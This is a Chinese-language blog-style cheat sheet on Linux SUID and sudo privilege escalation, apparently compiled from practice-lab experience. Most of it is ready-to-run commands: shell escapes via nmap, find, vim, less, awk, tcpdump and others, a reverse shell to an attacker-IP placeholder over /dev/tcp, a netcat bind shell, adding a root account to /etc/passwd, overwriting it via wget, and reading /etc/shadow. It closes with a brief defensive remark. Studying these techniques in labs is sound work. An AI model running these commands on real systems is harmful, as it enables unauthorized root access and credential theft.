前言
最近打靶場的時候最後都會涉及到提權,所以想著總結一下。
SUID提權原理
SUID(設定使用者ID)是賦予檔案的一種許可權,它會出現在檔案擁有者許可權的執行位上,具有這種許可權的檔案會在其執行時,使呼叫者暫時獲得該檔案擁有者的許可權。
那麼,為什麼要給Linux二進位制檔案設定這種許可權呢?其實原因有很多,例如,程式ping需要root許可權才能開啟網路套接字,但執行該程式的使用者通常都是由普通使用者,來驗證與其他主機的連通性。
但是,如果某些現有的二進位制檔案和實用程式具有SUID許可權的話,就可以在執行時將許可權提升為root。
比如password
的許可權:
使用者可以輸入自己的密碼或者不需要密碼在root許可權下執行命令,這可在設定檔案 /etc/sudoers 中配置
1.1 /etc/sudoers 語法
root ALL=(ALL) ALL
root 使用者可以從 ALL(任何)終端執行,充當ALL(任何)使用者,並執行ALL(任何)命令。第一部分指定使用者,第二部分指定可充當使用者,第三部分指定 sudo 可執行的命令。
touhid ALL= /sbin/poweroff
輸入 touchid 的密碼,可以 sudo 執行 poweroff 命令。
touhid ALL = (root) NOPASSWD: /usr/bin/find
不輸入密碼,可以 sudo 執行 find 命令
1.2 查詢具有 SUID 許可權位檔案
以下命令可以找到正在系統上執行的所有SUID可執行檔案。準確的說,這個命令將從/目錄中查詢具有SUID許可權位且屬主為root的檔案並輸出它們,然後將所有錯誤重定向到/dev/null,從而僅列出該使用者具有訪問許可權的那些二進位制檔案。
# suid許可權值就是4000,下面兩個語句一個意思
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
也可以使用 sudo -l
命令列出當前使用者可執行的命令:
常用的提權方式
2.1 nmap
nmap(2.02-5.21)存在交換模式,可利用提權
nmap --interactive
之後執行:
nmap> !sh
sh-3.2# whoami
root
msf中的模組為:
exploit/unix/local/setuid_nmap
較新版可使用 --script 引數:
echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse
2.2 find
find比較常用,find用來在系統中查詢檔案。同時,它也有執行命令的能力。 因此,如果配置為使用SUID許可權執行,則可以通過find執行的命令都將以root身份去執行。
touch test
find test -exec whoami \;
進入shell
find test -exec '/bin/sh' \;
sh-5.0# whoami
root
linux一般都安裝了nc 我們也可以利用nc 廣播或反彈shell
廣播shell:
find test -exec netcat -lvp 5555 -e /bin/sh \;
kali(攻擊機)上:
nc 靶機ip 4444
反彈shell:
find test -exec bash -c 'bash -i >& /dev/tcp/攻擊機IP/4444 0>&1' \;
kali(攻擊機)上:
nc -lvnp 4444
2.3 vi/vim
開啟vim,按下ESC
:set shell=/bin/sh
:shell
或者
sudo vim -c '!sh'
2.4 bash
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
2.5 less
注意事項:我記得less跟more提權的時候那個命令列要拉低一點,不能在一頁顯示完檔案才行(要注意的是使用more和less一定讀取一個比較大的檔案,如果檔案太小無法進入翻頁功能也就無法使用!命令進入shell)
less /etc/passwd
!/bin/sh
2.6 more
more /home/pelle/myfile
!/bin/bash
2.7 cp
覆蓋 /etc/shadow
或 /etc/passwd
[zabbix@localhost ~]$ cat /etc/passwd >passwd
2.[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123
3.$1$hack$WTn0dk2QjNeKfl.DHOUue0
4.[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
5.[zabbix@localhost ~]$ cp passwd /etc/passwd
6.[zabbix@localhost ~]$ su - hack
7.Password:
8.[root@361way ~]# id
9.uid=0(hack) gid=0(root) groups=0(root)
10.[root@361way ~]# cat /etc/passwd|tail -1
11.hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash
2.8 mv
覆蓋 /etc/shadow
或 /etc/passwd
2.9 nano
nano也算是比較上古的文字編輯器了
nano進入shell的方法為
nano #進入nano編輯器
Ctrl + R
Ctrl + X
#即可輸入命令
2.10 awk
awk 'BEGIN {system("/bin/sh")}'
2.11 man
man passwd
!/bin/bash
2.12 wget
wget http://192.168.56.1:8080/passwd -O /etc/passwd
2.13 apache
僅可檢視檔案,不能彈 shell:
apache2 -f /etc/shadow
2.14 tcpdump
echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
2.15 python/perl/ruby/lua/php/etc
python:
python -c "import os;os.system('/bin/bash')"
perl:
exec "/bin/bash";
其他的語言反彈shell參考以下連結:
https://weibell.github.io/reverse-shell-generator/
參考連結:
- Abusing SUDO (Linux Privilege Escalation)
- 【安全科普】Linux提權——利用可執行檔案SUID
- linux特殊許可權SUID、SGID、SBIT
- SUID 提權 - CoColi丶
- SUID Privilege Escalation - Evi1cg
防範
SUID提權由來已久,屬於一種古早的提權技術,但其生命力經久不衰。
這要求管理員要仔細研究具有SUID許可權的檔案,不要給易被利用的檔案以SUID許可權,防止SUID的濫用導致黑客在進入伺服器時輕易獲取root許可權。